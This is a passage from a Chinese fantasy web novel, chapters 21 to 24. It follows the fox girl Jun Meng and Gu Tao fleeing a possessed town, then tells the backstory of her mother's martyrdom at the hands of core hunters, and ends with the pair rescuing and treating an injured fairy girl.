远处隐约传来犬吠,再往南望去,能看见星星点点的灯火,那是镇子边缘,已然早起做饭食的人家。
君梦惊诧道:“这就到外面了?”
她收回难以置信的目光,紧着时间查看了顾桃背上的伤口,又替他揉了揉酸胀的手臂。
从别院到此处,少说也有好几里地,这地道竟藏得如此隐秘!难以想象是一位老人家挖造出来的,莫不是只地鼠精?
不过好歹老人帮了他们,倒也不好意思冒昧打量。君梦乖乖呆在一边,往脑子里塞了些乱七八糟的东西。
老人吹灭灯笼,在顾桃的搀扶下坐到草地上歇气。
顾桃蹲在老人身侧,伸手替他抚背顺着气,轻声道:“仲爷爷,您随我们一道走吧,等您到达安全的地方,我们立刻就去找人帮忙。”
老人摆摆手,喝了一口顾桃递过来的水,长叹一声:
“老人家走不动啰,我老了……镇长大人从来都待我不薄,我不能丢下他一个人逃跑。还是要回去的,就当、就当是照看着他的肉身,等着你们带人回来救他罢。”
“可是……”
君梦蹲着往前挪了一小步,还想再劝。
老人抬手制止,笑道:“不必担心,它还需要我调配汤药,且老小儿妖力浅薄平庸,对它无用,它不会对我怎么样的。”
对于他们的担忧与关心,挤作一团的眼角纹都显示出很是受用。
“啊,对了!”
老人从袖中取出一个小瓷瓶,往手心倒了两粒小小的红色丹药,送到顾桃手中。
“这是避邪丸,那别院中恶气污毒,恐伤身体……噫?两位小友竟是毫无异样。”
老人抬眼就着蒙蒙亮光,却并没有发现两人脸上有中毒的迹象。
“爷爷莫担心,那点小毒,伤不到我们的。”君梦笑嘻嘻地一脸得意。
老人见她特意晃着头上一对白狐耳,背后还摇着大尾巴,笑着点了点头,“唔……老人家老眼昏花,竟没发现是狐族。”
转头又打量起顾桃:这人高马大的完美人形,却不知道是什么种族。
顾桃似乎明了老人意图,便自觉从怀里摸出一物。
是那块婴孩儿拳头大小的黑紫玉佩,此刻微微泛着光,正一丝一缕吸收着顾桃身上残存的死灵气息。
老人称赞道:“是个好物件。”放下心来。
他撑着地准备起身,顾桃和君梦连忙一人一边抬着他的手臂扶起。
“好孩子,走吧!从这里一路往北,会遇到一座木桥。就从那里过河,再往东南方向一直走,脚程快的话几日就能到达陆中主城。城里有位将军名曰‘宴锋’,将这里的事情告知于他。”
老人从衣摆捻下一根枯草,提了纸灯笼,转身就走向重新被杂草挡住的洞口。
想了想,还是回过头期盼道:“希望你们能赶得上吧……路上多加小心!”
“仲爷爷……”
君梦有些不忍,奈何自己妖小力微,没有更好的理由留下保护老爷子。
“梦儿,我们现在就出发。”
顾桃坚定的目光目送着仲老爷子蹒跚的背影,牵起君梦便向北方去。
自此,一南两北,也不知可否还有相见之日。
……
“呵……想不到我院中倒是出了个好大夫!”
别院正屋内,黑色布帘后的卧塌上半躺着一团黑影,雾蒙蒙的只隐约能看出是个人形,怒极反笑地嘲讽着。
“……”
布帘外,伏跪着一名老人,沉默不语。
老人旁边的摇椅上,还有个红袍男子翘着二郎腿,墨玉发冠,手中把玩一张陈旧符纸,脸上挂着一抹微笑,满脸看戏的表情。
黑影见得不到半点反应,更加气恼。抬手一挥,一团浓墨似的雾气从布帘穿透而过,聚成一支长矛射向老人。
这时,红袍男子手腕微动,两指夹着符纸在空中划出一道弧线,凭空便挡下了黑雾长矛。
只一眨眼的功夫,矛身整个开始溃散,最终又化为黑雾飘散开来,顷刻就没了踪影。
“……”
预想中的死亡并未来临,老人睁开闭紧的双眼,劫后余生的恐惧化作冷汗打湿了衣襟,他将身子伏趴得更低了。
红袍男子抬起眼皮,上挑的桃花眼里满是虚假笑意:“镇长大人莫要动怒,何必跟个老仆动气?您这一身的邪气,伤了可不好补回来哟。”
黑影闻言却没有任何动静,只是墙角神台上的黑布突然无风自动,露出了底下的物件。
那根本不是神像,而是蒙着兽皮的木架,被扎成了人偶形状,人偶脸上挂着是笑非笑的诡异表情。
这东西被摆放在一圈小法阵上,四面围绕着细细的黑红色雾气。
“邪灵也配坐神台?”
红袍男子心中暗笑。
不过这东西确实有些本事,知道怎么封锁自己的气息。要不是它伤势过重,压不住死魂的烂臭味,恐怕他也轻易发现不了。
良久,神台上的黑布终于平息,布帘后传出冰冷的语调:“滚下去。”
“是……老爷。”老人松了一口气,匍匐着倒退出屋,艰难撑起麻木的身子,又将房门掩上才退了下去。
红袍男子微阖双眼,似小憩般又重新瘫坐到摇椅上,悠闲的晃起来。
黑影收起方才
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冷漠的态度,小心翼翼问道:“叶公子,不知您到底想从我这里得到什么?”
自昨夜起,这祖宗就如入无人之境般闯进它屋里,东翻翻西看看就是不谈正事,还在它的眼皮子底下故意放走了两只小妖。
一番纠缠后,他手中那张破旧符纸让自己拼了半条命不说,他竟是连头都懒得抬一下。
摇椅上的男子闻言邪邪一笑,睁开明亮的双眼盯着布帘后方,一字一顿回道:“我要你炼化的万妖丹!”
“你……!”
黑影好不容易平复下来的气息又变得急促起来,虽咬牙切齿,可还是将后面的话硬生生吞回肚中。
“嘻嘻,舍不得?”
红袍男子晃了晃手中符纸,咧着嘴挑衅道:“那你选吧,是你自己献出来保住这条狗命,还是少爷我来抢?!”
“……”黑影枯萎的双手在袖中捏得死死的,一时哑口无言。
所谓万妖丹,正是他辛苦几年收集来的妖丹灵气,在它的体内炼化成了一体。有了这枚灵丹,它的伤势才得以缓解,可离痊愈,还差许多的滋补。
黑影强压下心中怒火,最终还是无可奈何。
它萎靡不振瘫坐于榻,只能劝着自己:现下以丹保命,将来还可以重新凝聚,无非就是再多花点时间。眼前这家伙油盐不进,更因为那张旧符纸的存在,探不出他的灵力深浅,现在的它根本不是他的对手!
黑影短短犹豫后就下定决心,心中剧痛无比,问道:“……给了你,你当真就不再干涉我?”
虽然还抱着一丝期望,可也怕这乖戾男子耐心耗尽,下一秒仍是温顺张口,从腹中将万妖丹引导出来,捏在手中十二万分不想交出去。
红袍男子可不管这许多,眼中一亮,坐起身来手一挥,空中水汽凝结成盾,将那万妖丹团团裹住往外一推。
再看时,灵丹已稳稳落入他的手中。
“!!!……”
黑影急得蹿起身子,可还没来及站稳,刚失了妖力来源的它,又重重跌坐回榻上,喉咙里发出粗重的“咯咯”声,再无半分力气挣扎。
红袍男子掂了掂手中灵丹,眼里闪过一抹狡黠,吊起嘴角笑道:“哎呀呀,我本是闲散人员,管这等闲事作甚?!”
说罢便揣着灵丹走出屋子,几个纵身,离开了别院。
……
升起的太阳向大地发散它的暖光,红袍男子翘着二郎腿仰躺在河边。
他一手枕着头,一手捏着万妖丹举得高高的。
光线射在丹上,将里头黑色流动之物惊得乱蹿。
他看得有趣,扯起嘴角低低嗤笑。
老头儿,你猜我遇到什么了!
我遇见一个满头白发的少年,就如你说的“英武气盛卓尔不群”那般,可惜他未曾遮面……
“呵!”他莫名笑出声。
真是好奇害死猫啊……神经兮兮跑去跟了老半天,巧了!他竟也是白虎后裔!
所以,是你在指引我么……?
我要不要去结交结交呢……?
他换了条腿翘起,冷笑着自言自语:
“还是算了吧,你这老道道心不稳,非要瞎掺合,最终落得个什么下场?!……嗐,我好好过自己的日子不香么?他这样的身份,可不是人人都能沾得。”
22. 梦狐绝唱(君梦娘亲篇)
荒古历216年,众妙仙门临世,门内灵气大肆溢出滋养万物。
短短半月,各种族趁机开始不断演化、修练,其中不乏少数种族因灵气含量过高而产生异变。
荒古历1366年,各族势力均达到顶峰,或扩张领土,或妖性使然,陆中动乱暴发,生灵涂炭。
荒古历1428年,人族将军“晏锋”崛起,持“斩邪剑”登上高位,以己之力组织起人、妖、仙灵三族将士,前往各处平复大乱。
历时23年,有威胁性的大妖均被消灭,将士们进入休养生息的阶段。
三大种族立下《中州大陆和平公约》,分划区域,和睦共处。
荒古历1458年,隐居多年的变异种族“梦狐”被人发现,各势力暗中组建“猎狐组织”。
新一轮血案,由此开始。
……
血煞谷谷底,熊熊火光将原本阴森幽暗的凶谷照得宛如白昼,空气中弥漫着焦糊与血腥的臭味。
各大帮派、世家齐聚一堂,无数旗帜在风中飞扬,将中央那道单薄的身影围得水泄不通。
“曦月,你若是跟了我,我定保你往后安然无恙!”
最先打破死寂的是一名年近七旬的华服老者,他仗着年长率先开了口,并向前踏出半步,浑浊的眼睛死死盯着她,满脸猥琐上下扫视。
话音刚落,人群里便传来一声冷嗤:“辛老,您这话我就不爱听了,瞧您这一把年纪,家中成群的美眷您照顾好了吗?怎地还好意思跟我们抢夺公主呢?!”
留着山羊须的中年男子鄙夷地瞥了老者一眼。
“就是就是!辛老您年纪大了,怕是能力不足,若是不能诞下子嗣岂不浪费?!”
“说得没错!等公主诞下孩儿,取了那妖丹,咱还可以分您老一颗!”
“哈哈哈哈……”
被围困的女子眉目如画,原本清澈的眼眸里,如今只剩下彻骨的寒凉。
她身后倒下一只呼吸渐弱的巨型白虎,伤口滋出的血水将她身上霜白罗纱浸染得斑驳不堪。
曦月听着他们越来越不堪入耳的调侃,她收回轻轻拂过白虎皮毛的指尖,缓缓抬眼,视死如归的脸上终于透出怒意,再看这帮人,心头泛起一阵恶心。
“你们……终究是要将我族赶尽杀绝才肯罢休么?”
清冷如碎玉的声音落入众人耳中,非但没能唤起半分怜悯,反而让人群更加躁动。
有人往前挤了挤,恬不知耻高喊:“曦月,识相的就乖乖跟我们走,你若是肯配合,也少些皮肉之苦!”
她自嘲地笑了笑,这些人,无非就是想将她饲养起来,逼迫她产子,然后杀子取丹罢了。
她祖上本出自妖狐族,于仙门开启时血脉异变,遂避世入山自分一支名曰“梦狐”。
宴锋将军平定大陆后,各族和睦相处、平静安定。
族中有个年轻人便不再满足困于秘境,私自出了山。在一次偶然中与人殴斗,被那心狠手辣之人剥去妖丹,梦狐族人的秘密就此泄露。
他们的变异妖丹竟然蕴含惊人的能量,不仅能极大地提升修为与寿命,还能重塑筋骨,堪称永生丹!
这消息如野火般在大陆蔓延,众人哗然。各大势力先是想方设法派人调查,待消息属实后,便纷纷在暗中组织起“猎狐”的行动。
他们打着“铲除邪妖”的旗号,以各种卑劣手段残害梦狐族人,取其妖丹供给势力首领享用。
起初,他们还只针对成年公狐,可随着妖丹的供不应求,“猎狐”组织越发疯狂,彻底失控,最后竟连族内孕狐和幼狐都未能幸免。
梦狐族不与外族通婚,本就人丁不兴,不出几年便被屠戮殆尽。
老族长的爱女曦月生性纯良,被族人奉为公主。
红狐族几名年轻人侠义心肠,寻上门来自发组建护卫队,守着这支罕见族群。
他们以老族长收养的白虎妖兽顾岁宁为首,在灭族灾难来临时,带着公主险险逃出生天。
几人护送着她东躲西藏,斩杀各路追捕,引发了大陆一阵骚乱。
可因为总有一个暗地里使绊子的人,让他们始终面临着无休止的追杀。没日没夜的逃窜,几乎不得一刻安宁。
彼时宴锋将军重伤未愈仍在闭关,几乎不过问世事。加上各势力脉络错宗复杂,他们口中又以“邪妖”为由,且没闹到明面上,将军手下之人不愿出头,便睁一只眼闭一只眼。
如此追逐,日日惊慌。
曦月心中渐渐疲累,暗中计划着想要结束这一切。她不想再躲了,更不想一直拖累着无辜的护卫们。
可她深知,只要她还活着,这件事就不会彻底结束……那么让梦狐血脉就此断绝么?她又舍不得,没能保护好族人,已经让她深感愧疚。
绞尽脑汁下终于想出个法子。
在她的强烈要求下,护卫们于深夜带着她偷偷绕回妖族地界,寻了一座极为偏僻的落后小村。
这座小村庄里住着一支从不参与纷争的黑狐族。
曦月选中一名老实可靠的黑狐男子,使了魅术与之诞下一名女婴,这粉雕玉琢的小家伙,五官倒与她有些相似。
护卫们瞧着她女儿,哈哈大笑,调侃道:“你这女儿,很有眼光嘛,竟没有遗传到她老爹一点儿颜色!”
曦月也笑,爱不释手,小家伙白耳白尾的模样实在可爱,让她有一瞬间的动摇。
可她不敢耽搁,顾不上生产后本就虚弱的身体,又耗光了几乎所有妖力,为这个村子布下一道百年结界。以自己最后的力量,守护她的丈夫和女儿,还有被她坚持留守在村落里的护卫们。
顾岁宁是上古白虎一族的后裔,白虎族人个个骁勇善战,皆在平定大陆的暴乱中身死,留下小小的他孤身一人生活在山中。
老族长瞧他可怜,将他收养。
许是妖兽族的脾性里带着与生俱来的“守护”,他自小便将曦月当作亲妹妹来爱护,忠心不二誓死追随。
当他知道曦月的想法时,沉默了许久,最后也只是说:公主想做什么,我都陪着。
这天,曦月带着顾岁宁来到金轮台。
这里是全大陆观看落日最美的地方,每到黄昏,夕阳会将整片天空染成金红色,云朵像是燃烧的火焰,美得让人心醉。
两人寻了一处最好的位置,静静坐在那看着夕阳一点一点沉入地平线,享受最后的美好时光。
是夜,曦月故意暴露身份,向外界放出她在此处的消息。
没想到最先赶来的,是那只巨大的火凤凰,华凤。
华凤主张和平,参与平乱时立下赫赫战功,是大陆上颇有名望的师尊级大妖。
多年前与曦月有过几面之缘,对她印象极好。此次本是想来救她,可被她淡定婉拒,说是不愿意为他惹上接连不断的麻烦。
两人找了个理由支开顾岁宁,她将自身妖丹取出,托付给了华凤。
她知道顾岁宁一定会护她至战死,所以她请求华凤:待事情结束后,用这枚妖丹救他。
华凤见她目光坚决,劝说无果,无奈叹气也只得接受。随后便被她催促着隐藏了身形,眼睁睁看着他们二人假意被追杀,引着闻风而来的众人逃去血煞凶谷。
这是多年来好不容易再次得到曦月公主准确下落的消息,出动的人数多到几乎填满了整个山谷。
顾岁宁修为虽高,可也不敌人多,拼尽全力终是战死在她眼前。
曦月面色苍白,踉跄着拦在他呼吸渐弱的兽身跟前,心中极痛
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,浑身颤抖。
她的身子晃了晃,却仍是紧紧咬着唇角强忍泪水,不停劝慰着自己:他还有生还的机会,他会活下去的!
见这可怕凶恶的白虎终于倒下,人群中立即有人马后炮般地大喊:“一只苟延残喘的妖兽,也敢在此放肆?!”
曦月垂下头合上眼帘,重重吐出胸中淤积的那口闷气。
她扶着白虎尸身撑住自己因失丹而不多的寿命,懒得再与他们对话。
人说死前总忆往,如走马观灯。
而她此刻脑海中最为难以割舍的,便是女儿乖巧可爱的模样:生来爱笑、眉眼弯弯的小女娃娃,顶着一双粉嫩狐耳,朝着她伸出肉乎乎的小手,嘴里咿咿呀呀……
曦月脸上的表情瞬间柔和下来,眼里漫上的一层薄泪,垂在睫毛上微微颤动。
她狠狠咽下那股酸涩,稳了稳心神,生怕自己犹豫中露了破绽。指尖颤抖着赶紧凝聚起体内仅剩的微弱妖力,吐出了早先准备好的假丹。
众人还以为她终于想通,眼中贪婪几乎要溢出,纷纷向前逼近想要抢夺。
曦月看着他们丑态毕露的脸嘴,眼中闪过一丝决绝,猛得攥紧拳头,那枚莹白的假丹在她掌中瞬间碎裂。
“呯——!”
一道刺眼的白光自她体内爆发而出,如烈日坠谷,空气撕裂的尖啸声席卷了整个谷底。
“住手!!!”
眼看曦月宁愿自爆也不肯低头,觊觎梦狐已久却没能得手的人们心态崩塌,冒着被重伤的危险,仍嘶吼着伸长手臂去抓那些飘散的珠丹粉末。
“没了!什么都没了啊!!”
光芒散去后,谷底一片狼藉,有不少人被爆炸波及以至重伤,哀嚎四起。
是疼痛,更是绝望。
他们看着面前光秃秃的空地,哪还有什么人影。
而离她最近的那具白虎残尸亦不见了踪迹,想必是跟随着粉身碎骨的曦月,也消散了个干净吧?
两人竟连一片衣角都没有留下。
瘫坐在人群后的一名术师道长,嘴角还挂着凝固的血痂。
为了劝说这群恶魔,他不惜以命相拼,顾岁宁与他深深凝望过后,虎指一弹将他抛出战场。
重伤难起的他,唯有眼睁睁看着好友毅然踏上绝路,更为这支稀有血脉的就此覆灭感到无能为力,两行浊泪自他布满血丝的眼眶中滑落。
老道无能……
愿君魂安,来世无殇。
这场血腥的风波,终于随着最后一位梦狐族公主的死,彻底平息。
…………
弱水河畔。
河岸密林常年笼罩在雾气中,一间简陋的木屋隐藏其中,木门虚掩着。
木屋内的地上,躺着一个白发的年轻男子,即使躺着,也能看出男子身材硕长健壮。
他身着一件金丝绣纹的墨色长袍,同款金丝打制的面罩覆盖了大半张脸,只露出苍白的下颌,浑身血迹早已凝固。
他就那么安静地躺在地上一动不动,仔细看去,胸腔竟没有丝毫起伏,显然早已没了呼吸。
在他身旁站立着一个中年男人,火红长发垂至腿弯,身上松松垮垮地披着一件花青色的锦衣华服。
男人手中把玩着一颗七彩珠光色的妖丹,面上满是悲凉,轻声叹道:“忘了好,都忘了吧……”
片刻后,他唉声叹气地蹲下身子,将手中妖丹悬空置于男子胸腹间,催动体内纯劲刚猛的灵力聚于丹上。
就在灵力即将注入珠丹时,他的目光落在了白发男子的金丝面罩上。
听闻世间最后这头白虎始终不以真面目示人,莫非相貌凶恶?
男人歪着头略一思索,最终还是没忍住满心的好奇,伸出一只手将它摘下……
23. 凄凄惨惨美少女
君梦踩着脚下青苔斑驳的木板桥面,故意让它们发出吱呀的声音。
顾桃望着东岸连绵的山脉,山影在暮色里像蜷曲的巨龙,峰顶的凹陷恰似崩裂的弓弦,难怪当地人叫它“断弓山”。
“沿着这片山脉往前走,应该就能看到主城了。”
他一直跟在君梦身后,淡淡出声,顺着她面朝的方向,自她身后伸出手指向前方。
君梦听着近在咫尺的嗓音,心里一慌,头也没敢回,问道:“听说这边有很多妖犯?”
她紧张地摸了摸腰间的绿玉,绿玉冒出一丝嫩筋缠上她的手指以示回应。
顾桃也不戳穿她顾左右而言他的心虚,顺着她的话答道:“嗯,山脚下是矿场,那边都是流放过来的妖犯,要多加小心,莫惹事端。”
妮子不满地小声嘀咕道:“……说得好像我很爱惹事一样,哼!”
两人行了一日,总算穿过木桥转进山坳,按仲老爷子的指示,在岔路口选了东面的大道,继续往前赶了一段路。
空气中愈发浓重的硫磺味呛得人呼吸不畅。
山间矿场的轮廓在暗色中渐渐清晰,黑黢黢的矿洞像野兽的巨嘴;锈迹斑斑的铁栅栏后,隐约可见一排排小木屋,以及四周少许还在垂头劳作的身影,脚上的镣铐碰撞声在山谷里回荡。
“走开!你们走开!……”
突然,一声柔弱中带着惊恐的哭喊声刺破宁静。
两人对视一眼,同时朝着声音来源奔去。
矿场西侧的乱石堆旁,几只多手多脚的蜈蚣精正将一个白裙少女围在中间。
那少女发丝凌乱覆在脸颊上,瞧不清五观,只看得见发丝下展露的肌肤如莹白月光。她耳后缀着的白羽随着抽泣轻轻颤动,背后一对还未收拢的洁白翅膀,羽毛一片狼藉,有几处还沾着新鲜血迹。
“小美人儿,你就从了哥哥们,我保你在这地界不受欺负,嘿嘿嘿……”
裂口邪笑的蜈蚣精像是个小头领,率先对那小仙灵动手动脚。
这家伙相貌生的实在丑陋,举止猥琐,令人不可直视。唯有身披的暗红色鳞甲透着冷光,微微让人眼前一亮。
君梦瞧清了面前景象,对那柔弱哭泣的少女起了怜惜之心,顿时大怒,奔跑两步后跃起身影,抽出绿玉就朝那只蜈蚣精的面门甩过去,骂道:“你个多足丑鬼!也不撒泡尿照照!你丑得姑奶奶几天吃不下饭,我抽死你!”
顾桃紧随其后,也在此刻将沉重的斧刃砸向另一只蜈蚣精的背脊。
那紧盯少女的妖怪背鳞当即裂开,吃痛下发出一声尖锐的嘶鸣,尾端毒钩猛然弹出,直取顾桃咽喉。
领头的蜈蚣精吃了一惊,连忙往旁边闪开躲过一鞭。
君梦也不纠缠,巧劲抖了鞭柄,鞭身便如灵蛇般缠上了旁边亮出的毒钩,与顾桃配合着一拽一侧身,顾桃手腕翻转斧刃猛劈而下,将那蜈蚣精的毒钩砍下一大截,绿汁溅了一地,疼得它抱起尾部倒在地上翻滚哀嚎。
君梦往前行了几步,正要去拉因害怕而就地抱头蹲下的少女,不料侧面突然蹿出领头的和第三只蜈蚣精。
顾桃瞳孔骤缩,想也没想便转身将两个女孩儿护在身后,举起长斧险险挡住领头刺来的毒钩,另一只毒钩却斜斜刺入他的锁骨处。墨绿色的毒液瞬间漫开,疼得他闷哼一声,长斧险些脱手。
君梦惊呼:“桃哥!”
当即红瞳冒起火光,甩起绿玉的攻势更加狠辣,大开大合间便抽退了击中顾桃的那只精怪,并往它脸上留下一道长长的鞭伤,被鞭上妖毒腐蚀的面部嗞嗞冒烟,这丑鬼就捂着脸与那只断尾精一同翻滚去了。
随后鞭子又勒住领头的脖颈,正与它较劲时,旁边的蜈蚣喽啰抓住机会,抬起粗壮的肢体猛地撞向她。
君梦被撞得踉跄后退几步,手一松,绿玉便缩回腰间。
她干脆将面前少女扯到自己身后,本是想护着她,可少女娇弱无力,竟被她拉拽得摔倒在地。
顾桃强忍毒素带来的剧痛,挥起长斧赶紧上前抵挡剩余两只蜈蚣精的靠近。抽空大喊道:“梦儿,炎蛊!它们身上都有硫磺!”
“?!!”
君梦一经点拨,恍然大悟。笨啊!只想着它们鳞甲厚实,需以妖毒腐蚀之,却忽略了它们身上沾染着大量硫磺,炎火一沾便燃,指不定还会爆炸。
她哈哈大笑:“丑鬼受死!”
说罢,运起大半妖力,将炎蛊附着于鞭上。鞭子霎时通红冒着火光,伴着风声呼呼住蜈蚣精身上招呼。
火星与它们身上鳞甲缝隙间的硫磺相遇,轰然爆发出刺眼的火光,浓烟滚滚而起,烧得它们哀嚎逃窜。
“快走!莫等它们带来帮手。”
顾桃收了长斧,一手捂着发黑的伤口,一手拖住咬牙切齿还想追击的君梦。
两人快步走向吓得不轻的少女。那少女苍白的小脸上还挂着泪痕,大大的眼睛盈盈欲泣,表情即惊恐又痛苦,双手捂着腿弯坐在地上。刚才那一摔,将她本就受伤的小腿摔得彻底骨折,现下连站起都费劲。
君梦捶了一下脑袋瓜,连连喊道:“哎呀!是我不好!”急得围着她转了两圈,寻思该从哪里下手将她托起带走。
顾桃犹豫片刻,上前扯住少女胳膊,在她脚部发力前一把扛到了未受伤的肩头,引得少女一阵呼痛。
君梦觉得他动作太粗鲁,“啧”了一声作势要拍他巴掌,却见他这一用力,正巧牵扯到锁骨处的伤口,肩上再一受力,霎时从伤口处滋出一股黑色血水。
君梦一顿,惊呼:“呀!你的伤……”
顾桃强忍疼痛,咬了咬牙,空出一只手来拉起君梦就往密林快步行走。
他们借着夜色树影的掩护,避开大道,穿梭在林间,直到听见侧面有流水声,观望一下后方未见追兵,这才停下脚步。
来到河边,顾桃才轻缓放下被颠得昏睡过去的少女,同君梦紧挨着坐在鹅卵石块上,微微喘着气。
君梦余光瞥见少女侧躺在地一动不动,索性跪坐起身,一边说:“你的伤口得先处理一下……”一边伸出小手就要往他怀里探。
不料被他一把抓住。
顾桃幽怨地嗔了她一眼,自个儿从须臾袋内摸出棉布和一小瓶药粉,递到她手上时耳根微红,轻笑道:“我怀里哪能放下那么多东西……”
君梦也不理会,权当没听见,反正又不是没掏过他的怀兜,他自己拿出来总好过她在里头翻找。
她轻手轻脚扒开他的衣襟,露出一圈皮肉已经变得乌黑的伤口,侧身就着清亮的河水打湿了棉布,先是细细擦拭四周的污血。
伤口很深,再经过长时间剧烈走动,此时毒素已然进入体内,
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蛇骨玉佩吸附的作用便微弱了,要想恢复快些,还是需要药物辅助。
顾桃低头看她认真缓慢的动作,也不觉得有多疼了。待她清理得差不多,他放松身体,往背后大石靠了靠。
君梦拔出瓶塞,跟着倾身凑近他,将祛毒药粉均匀撒在伤口上。
被药性一刺激,他胸口肌肉肉眼可见地紧缩起来,面上却还是闷声不吭,唯有额上藏不住的汗珠滚滚滴落。
君梦抬头,瞪着眼对上他的双眸,表情不悦。
顾桃勉强一笑:“不疼,别担心。”
君梦皱眉轻轻叹口气,“……你可以疼的,为什么总是说不疼呢?”
真是个爱逞强的臭小子!
月光顺着云隙淌下,倒映在河中,银光将周围晃得亮堂堂。
故意生硬却更显娇俏的念叨声被夜风卷起。
“下次不许用身体为我挡,你可不能受伤……你太重了,我背不动!到时我们俩就死在那算了……”
君梦一边叽叽咕咕地,一边用干净的布块涂了止痛膏,撒气似的拍在他的伤口上。
“嘶……”
顾桃被这巴掌拍得倒吸一口凉气。
君梦见当真拍疼了他,眼中一阵慌乱,举着的小手晃了两晃不知该往哪放。
这笨拙的模样引得顾桃忍不住笑出声,也不顾扯动伤口的疼痛,一把将她的手握住,满脸笑意盈盈,起了逗弄她的心思。
君梦被盯得脸上发烫,微怒道:“……你、你听见了没有?!看什么看!再看把你丢河里喂饿鱼!!”语气又奶又凶,举起药瓶往他怀里砸过去。
顾桃连眼皮都没动就接住了瓶子,嘴角幅度更大了。
就在他们打闹时,身侧传来细弱的抽气声。
两人望过去,只见躺在旁边的少女痛苦地蜷着身子,白色的衣裙沾上不少泥污。她试着动了动,小腿钻心的疼让她再次眼圈发红,浑身止不住的颤抖。
君梦立刻起身凑过去:“别动!”
接着轻轻将她的裙摆卷起一看,少女的小腿从中断裂,以诡异的角度歪斜着,骨刺差点穿出皮肉,情况甚是严重。
这时顾桃也已经系好衣衫,收起笑容来到她们身边。
他看了一眼少女骨折的地方,迈开长腿就去附近林中,掰下两根长短合适的粗木枝,削了两头的尖角和脏皮,回过身来又从须臾袋中取出一支竹筒和新的绷带。
他蹲在少女跟前,让君梦从背后抱住她。
少女已然清楚他们要做什么,眼中慌乱一闪而过。她咬紧了牙关,把眼一闭将头侧靠在君梦肩头,倒有几分坚强,只是君梦环抱着她的细小胳膊被她两手攥得生疼。
顾桃见她做好了准备,浑身太过繃紧却是难以下手。
他不慌不忙地打开竹筒,作出一副调药的样子,不紧不慢地与君梦说起闲话:“现在可以放松些,我药还没调好,等一会你可得把她抱牢了,万万不能让她动。”
君梦很是乖巧地点着头:“嗯嗯!!”
话还未落音,顾桃已经瞥见少女松了一口气。
他突然捏住她的小腿,微微用力,只听“咔哒”一声轻响,错位的骨头稳稳归了位。
“啊!!!”
少女疼得惨叫出声,眼泪瞬间涌了出来,豆大的泪珠顺着恰白的脸颊如流水般滚落。
24. 结伴同行
顾桃利落的接骨手段瞧得君梦一阵唏嘘,瞪大了双眼看看顾桃,又看看少女的小腿。
后知后觉中头皮一阵发麻,暗道:我将来死也不会让你给我正骨!……呸呸呸,我才不会骨折!
没有半分停顿,顾桃趁着她骨头刚复位,迅速拿过竹筒,捏起里头一支小木片,刮了竹筒里的青色药膏,轻巧均匀地涂抹在伤处周围。
一丝清凉稍稍缓解了少女的剧痛,她渐渐平静下来,只剩微微抽泣。
接着,他拿起两根粗木枝,用绷带轻轻固定在少女的小腿两侧。
少女只觉得他缠绕绷带的手法很是特别,每缠一圈,他都会低头检查,确保木枝不会晃动。松紧适度,既能起到固定作用,又不会让她感觉勒得难受。
不多时,包扎完毕,顾桃便收拾了东西站起身子,退回到刚才的位置,扶了大石缓缓坐下去。
他低着头没让君梦看到他表情,一番动作下来,似乎止痛膏也有些止不住伤口的疼痛了。
少女眼里还含着泪花,声音细弱如蚊蚋:“谢谢你们……”
君梦大方一笑,松开箍着她的胳膊,扶她坐好,才摆摆手回道:“谢什么,都是顺手的事儿。”
顾桃闻言,露出一个浅浅的笑容。随即招呼了君梦过来,递给她一些吃食和水壶。
等她带着东西过去照顾少女,自己才拿起肉干啃了一口。
折腾大半夜,旧伤未愈又添新伤,肚中早已空空荡荡。
君梦分了少女一片肉干,两人靠坐在一块儿补充着体力。
她贼眉鼠眼不时偷摸打量少女,嘴里嚼着嚼着,终于还是忍不住称赞道:“不是,你长得也太好看了吧!我还没见过这么好看的人!”
顾桃靠在石头边上吃得好好的,一听这夸张的感叹,猛地被呛了一口,连连咳嗽,缓过气来又觉伤口疼痛难耐。
君梦斜了他一眼,揶揄道:“哥哥莫不是见人貌美就激动得吃饭也吃不明白了?”
顾桃大窘,愠怒道:“鬼扯!”
少女红着脸低下头,躲过君梦重新投来亮晶晶的目光,小口小口撕扯肉干。
君梦自己倒是沉迷在她的美貌中,竟有些舍不得挪开视线。
这姑娘一头微卷的棕色长发,捋至耳后又从肩头滑落,一张小脸洁白透亮,五官明媚。正所谓:眉如远黛,眸若秋水,睫似蝶羽,鼻挺俊美,唇红齿白……满身尘土也难掩她的清丽脱俗。
“呲溜……”
君梦就着口水三两下咽了肉干,打开水壶递给少女,自荐道:“我叫君梦,君子的君,梦境的梦,狐族的,你呢?”
顾桃看她一脸馋样,无语至极,幸好同样是女儿身,不然非被人当流氓打了不可。
少女眨了眨带着水汽的眼眸,柔声回答:“我叫离声,离别的离,声音的声……我是仙灵族,是从幻云城的附属小镇‘风铃’来的。”
君梦歪着脑袋凑过去,惊奇道:“三大种族城中的幻云城?那边是不是有一片叫饮月森林的地方?我听说里面有很多奇珍异草呢。”
离声轻轻点头,咽下口中碎肉,“是的,风铃镇就在饮月森林附近,林中确实有许多独特的植物,很适合研制药剂。”
“呀!你还会研制药剂呢?”君梦凑得更近了,鼻翼微动暗中一嗅:唔,怪不得身上还有股好闻的淡淡药香。
顾桃终于看不下去了,撑起身子走过来,黑着脸一把薅住她的后领,将她拉回到原位,顺势就坐到了她的身旁。
?!
离声终于吃完手中食物,微红脸再次点点头。
她抬眸看了一眼隔着君梦坐下的顾桃,只见他胸膛处发出一圈青黑色光芒。
这是仙灵族特有的能力,仅凭肉眼就能看到别人受伤的部位,或是其他的异样。
她从自己的收纳宝袋里摸出一只精致的青花小瓷瓶,托在手中递给君梦,小声道:“这是我自己配制的解毒剂,都是上好的药材,我、我见小哥哥毒素不浅……你给他用了试试看。”
君梦大喜,一点都不客气,咧着嘴角收起小瓷瓶,转过头就要扒开顾桃衣襟。
有个外人在,顾桃多少有些尴尬。
可刚拍掉她的爪子,她立刻又围上来,甚至为了更省劲,干脆整个身子转过来扒拉他。
……无奈,他就只能从了。
离声见两兄妹打闹甚是有趣,满心愁云飘散,捂着嘴偷偷一笑。接着又从袋中拿出另一只小瓶,倒了一颗能快速愈合骨伤的药丸含入唇中。
顾桃的伤口涂了离声的药水后,就感觉疼痛轻减许多,体内那种沉闷的不适感也在明显消散。
他有些惊讶,本身自小就跟着村中姨娘学习药理,配制药剂自然也不在话下。但她这药水的骇人效果,让他突然有种对世界又有了新认知的感觉,终是有些理解那句“山外有山,人外有人”的意思。
他们需要学习的东西,还有很多很多。
顾桃抬起手臂动了动,此时,拉扯的痛感已经几乎可以忽略不计了。
